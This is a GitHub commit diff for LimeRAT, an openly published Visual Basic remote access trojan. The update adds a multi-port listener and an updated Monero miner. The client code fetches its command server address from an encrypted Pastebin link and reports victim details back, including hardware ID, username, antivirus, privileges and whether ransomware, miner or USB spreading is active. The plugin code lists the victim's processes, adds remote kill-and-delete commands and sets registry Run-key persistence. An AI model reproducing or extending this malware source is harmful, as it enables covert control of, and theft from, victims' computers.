Skip to content
This repository was archived by the owner on Jun 25, 2019. It is now read-only.

Commit f7b4870

Browse files
committed
UPDATE v0.1.8.5B
-Added multi port listener -Fixed when client can't connect on freshly installed windows7 -Updated XMR miner
1 parent ff51186 commit f7b4870

35 files changed

+6750
-6516
lines changed

.vs/LimeRAT/v15/.suo

9 KB
Binary file not shown.
0 Bytes
Binary file not shown.
0 Bytes
Binary file not shown.
0 Bytes
Binary file not shown.

Project/Client/C_ID.vb

Lines changed: 32 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -175,7 +175,7 @@
175175
Catch ex As Exception
176176
End Try
177177
Else
178-
Return CPU()
178+
Return CPU_GPU()
179179
End If
180180
Catch ex As Exception
181181
End Try
@@ -193,19 +193,48 @@
193193
End Try
194194
End Function
195195

196-
Public Shared Function CPU() As String
196+
Public Shared Function CPU_GPU() As String
197197
Try
198+
'Dim VideoCard As String = ""
199+
'Dim objquery As New Management.ObjectQuery("SELECT * FROM Win32_VideoController")
200+
'Dim objSearcher As New Management.ManagementObjectSearcher(objquery)
201+
202+
'For Each MemObj As Management.ManagementObject In objSearcher.Get
203+
' VideoCard = VideoCard & (MemObj("Name")) & " "
204+
'Next
205+
'If VideoCard.ToLower.Contains("nvidia") OrElse VideoCard.ToLower.Contains("amd") Then
206+
' Return VideoCard
207+
'End If
208+
198209
Dim P As New Management.ManagementObject("Win32_Processor.deviceid=""CPU0""")
199210
P.Get()
200211
If P("Name").ToString.Contains("Intel") Then
201212
Return P("Name").ToString.Replace("(R)", "").Replace("Core(TM)", "").Replace("CPU", "")
202213
End If
203214
Return P("Name").ToString
215+
204216
Catch ex As Exception
205-
Return "Err > Idle"
217+
Return "Unknow"
206218
End Try
207219

208220
End Function
221+
222+
Public Shared Function dotNET() As String
223+
Try
224+
Dim dot As New Text.StringBuilder
225+
For Each x In IO.Directory.GetDirectories(Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory().Substring(0, 34))
226+
If x.Contains("v4.0") Then
227+
dot.Append("v4.0")
228+
ElseIf x.Contains("v2.0") Then
229+
dot.Append("v2.0 ")
230+
End If
231+
Next
232+
Return dot.ToString
233+
Catch ex As Exception
234+
Return "Error"
235+
End Try
236+
End Function
237+
209238
End Class
210239

211240
End Namespace

Project/Client/C_Settings.vb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -9,9 +9,9 @@
99
Public Shared HOST As String 'IP
1010
Public Shared PORT As Integer 'PORT
1111
Public Shared EncryptionKey As String = "NYANCAT" 'encryption/decryption key
12-
Public Shared ENDOF As String = "|'N'|" 'socket key
13-
Public Shared SPL As String = "|'L'|" 'split bytes
14-
Public Shared EXE As String = "CLIENT.exe" 'client name
12+
Public Shared ENDOF As String = "|'N'|" 'endof
13+
Public Shared SPL As String = "|'L'|" 'split data
14+
Public Shared EXE As String = "CLIENT.exe" 'client drop name
1515
Public Shared MTX As Threading.Mutex
1616
Public Shared USB As Boolean = False 'usb spread
1717
Public Shared PIN As Boolean = False 'pin spread

Project/Client/C_TcpClient.vb

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -89,12 +89,14 @@ re:
8989
C.SendTimeout = -1
9090

9191
#If DEBUG Then
92+
9293
C_Settings.HOST = "127.0.0.1"
9394
C_Settings.PORT = 8989
9495
#Else
95-
9696
Using WC As New Net.WebClient 'Pastebin, split by ":" IP:PORT
9797
Try
98+
Dim myCredentials As New Net.NetworkCredential("", "")
99+
WC.Credentials = myCredentials
98100
Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin))
99101
C_Settings.HOST = Response.Split(":")(0)
100102
C_Settings.PORT = Response.Split(":")(1)
@@ -108,12 +110,12 @@ re:
108110
Alive = True
109111
MS = New IO.MemoryStream
110112

111-
Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.4B", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
112-
C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, "...", SPL, " ", SPL,
113+
Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.5B", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
114+
C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
113115
C_ID.Privileges.ToString, SPL, C_Settings.fullpath))
114116

115-
Dim T As New System.Threading.TimerCallback(AddressOf PING)
116-
Tick = New System.Threading.Timer(T, Nothing, 0, 1)
117+
Dim T As New Threading.TimerCallback(AddressOf PING)
118+
Tick = New Threading.Timer(T, Nothing, 0, 1)
117119

118120
Return Alive
119121
Catch ex As Exception
@@ -156,7 +158,7 @@ re:
156158
End If
157159
End If
158160

159-
KAP += 1 : If KAP > 3000 Then KAP = 0 : Send("KA")
161+
KAP += 1 : If KAP > 5000 Then KAP = 0 : Send("KA")
160162
Catch : End Try
161163
End Sub
162164

Project/Plugins/DET/Main.vb

Lines changed: 29 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -110,22 +110,42 @@ cc:
110110
End Sub
111111

112112
Public Shared Sub Data(ByVal b As Byte())
113+
On Error Resume Next
113114
Dim A As String() = Split(AES_Decrypt(BS(b)), SPL)
114115

115-
Try
116-
Select Case A(0)
116+
117+
Select Case A(0)
117118
Case "Sysinfo"
118119
Send("SysInfo" + SPL + ID.Getsystem + SPL + HWID)
119120

120121
Case "PROC"
121-
Dim PR As String = String.Empty
122-
Dim PR_LIST As Process() = Process.GetProcesses()
123-
For Each P As Process In PR_LIST
124-
Try : PR += P.ProcessName & "|'P'|" & P.Id & "|'P'|" & P.MainModule.FileName & "|'P'|" : Catch : End Try ' file |'p'| 1 |'p'| c:/file.exe |'p'|
125-
Next
126-
Send("PROC" + SPL + PR + SPL + Windows.Forms.Application.ExecutablePath + SPL + HWID)
122+
Dim L As String = ""
123+
Dim searcher As New Management.ManagementObjectSearcher("Select * from Win32_Process")
124+
Dim processList As Management.ManagementObjectCollection = searcher.Get()
125+
For Each obj As Management.ManagementObject In processList
126+
Dim owner = {""}
127+
Dim returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", owner))
128+
If returnVal = 0 Then
129+
If owner(0) = Environment.UserName Then
130+
L += obj.Item("Name") & "|'P'|" & obj.Item("ProcessId") & "|'P'|" & obj.Item("ExecutablePath") & "|'P'|" ' file |'p'| 1 |'p'| c:/file.exe |'p'|
131+
End If
132+
End If
133+
Next
134+
Send("PROC" + SPL + L + SPL + Windows.Forms.Application.ExecutablePath + SPL + HWID)
135+
136+
Case "PROCKILL"
137+
Dim PR As Process
138+
PR = Process.GetProcessById(A(1).ToString)
139+
PR.Kill()
127140

128-
Case "STUP" 'credit ĦΔĆҜƗŇǤ ŞØØƒ
141+
Case "PROCDEL"
142+
Dim PR As Process
143+
PR = Process.GetProcessById(A(1).ToString)
144+
PR.Kill()
145+
Threading.Thread.Sleep(2000)
146+
IO.File.Delete(A(2))
147+
148+
Case "STUP" 'credit ĦΔĆҜƗŇǤ ŞØØƒ
129149

130150
'HKEY_CURRENT_USER_Run
131151
Dim MyKey1 As String = "Software\Microsoft\Windows\CurrentVersion\Run\"
@@ -261,9 +281,6 @@ cc:
261281
CloseMe()
262282
End Select
263283

264-
Catch ex As Exception
265-
End Try
266-
267284
End Sub
268285

269286
Public Shared Function SplitByWord(ByVal b As Byte(), ByVal WORD As String) As Array
0 Bytes
Binary file not shown.

Project/Plugins/WRDP/Main.vb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -98,6 +98,7 @@ Public Class Main
9898
registryKey3.Close()
9999
Catch ex As Exception
100100
'Send("MSG" + SPL + "HRD! " + ex.Message)
101+
Return
101102
End Try
102103

103104
Try

0 commit comments

Comments
 (0)